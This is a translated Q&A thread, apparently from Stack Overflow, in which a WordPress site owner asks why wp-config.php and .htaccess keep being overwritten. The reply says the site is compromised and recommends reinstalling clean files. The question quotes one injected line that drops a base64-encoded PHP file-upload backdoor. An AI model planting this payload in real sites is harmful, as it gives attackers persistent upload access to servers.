php - htaccess 和 wordpress 配置文件经常被覆盖
问题描述
我有一个 WordPress 网站(v5.2.3),并且不时地(可能每月)wp-config.php
和.htaccess
文件被错误信息覆盖。
这会导致两个问题 - 首先,数据库访问详细信息wp-config
更改为无法正常工作的内容,然后由于从htaccess
.
被覆盖后,我的wp-config
文件充满了这样的行:
file_put_contents("wp-remote-upload.php", base64_decode('PD9waHANCmVjaG8gIlRoaXMgc2hpdCB3b3JrcyEiOw0KaWYgKGlzc2V0KCRfRklMRVNbImZpbGVuYW1lIl0pKQ0Kew0KICAgaWYoJF9GSUxFU1siZmlsZW5hbWUiXVsic2l6ZSJdID4gMTAyNCozKjEwMjQpDQogICB7DQogICAgIGVjaG8gKCJGaWxlIHRvbyBsYXJnZSAobW9yZSB0aGFuIDNNYikiKTsNCiAgICAgZXhpdDsNCiAgIH0NCiAgIGlmKGlzX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZW5hbWUiXVsidG1wX25hbWUiXSkpDQogICB7DQogICAgIG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyJmaWxlbmFtZSJdWyJ0bXBfbmFtZSJdLCAkX0ZJTEVTWyJmaWxlbmFtZSJdWyJuYW1lIl0pOw0KCSBlY2hvICgiPGJyPkRvbmUhPGJyPiIpOw0KICAgfSBlbHNlIHsNCiAgICAgIGVjaG8oIjxicj5FcnJvciEgIi4kcGhwX2Vycm9ybXNnLiI8YnI+Iik7DQogICB9DQp9DQo/Pg=='));
我的wp-config
文件有很多这样的行,大小约为 800Kb。
我在我的 WordPress 网站上使用的插件如下:
- Akismet 反垃圾邮件 [Automattic 的 v4.0.1]
- 联系表格 7 [三好孝之 v4.9.2]
- 复印机 [Snap Creek 的 v1.2.3]
- Google Analytics for WordPress [MonsterInsights 的 v7.7.1]
- 你好多莉 [Matt Mullenweg 的 v1.6]
- 限制登录尝试 [Johan Eenfeldt 的 v1.7.1]
- 徽标滑块 [EnigmaWeb 的 v1.4.7]
- 最近的帖子小部件扩展 [Satrya 的 v0.9.9.7]
- 静噪标签和手风琴简码 [Matt Lowe 的 v0.4.1]
- WordPress 导入器 [wordpressdotorg 的 v0.6.3]
- Yoast SEO [Yoast 团队的 v5.9.1]
使用我的 FTP 程序,我尝试更改wp-config.php
和.htaccess
文件的权限,因此无法写入它们 - 但是我尝试更改这些值并没有导致任何更改。我假设我没有能力更改文件权限。
如何阻止这些文件被覆盖?
或者我如何才能发现导致更改这些文件的原因?
解决方案
看起来您的系统已被入侵/被黑客入侵。
建议您首先在谷歌上搜索在这种情况下该怎么做,那里有很多资源可以涵盖基础知识。
理想情况下,您可能应该删除所有核心 WP 和插件文件夹,然后从“干净”系统再次上传文件(以避免攻击者仍然可以从外部访问可能已插入系统的其他文件。)
推荐阅读
- ssh - Cygwin 自行消失并弄乱了我的下载文件夹权限(我认为)
- ios - 我们可以从firebase获取pdf或excel的记录吗
- python - pip 如何在不同的环境中管理相同的包以提高空间效率
- python - 从源到目的地的矩阵中的广度优先搜索
- javascript - 如何为未定义的窗口对象编写测试用例 | Vue 测试工具 | 笑话框架
- git - 自动计算整个 git 分支上的修改(例如添加/删除的字母)
- html - 如何使img大小受单元格大小限制
- laravel - 如果条件在控制器中不起作用,则在 laravel 中
- javascript - 有没有办法检测从 angular8 中的对象数组动态绑定的 formArray 的 valueChanges
- azure - 在 YAML 配置中排除项目 azure-pipelines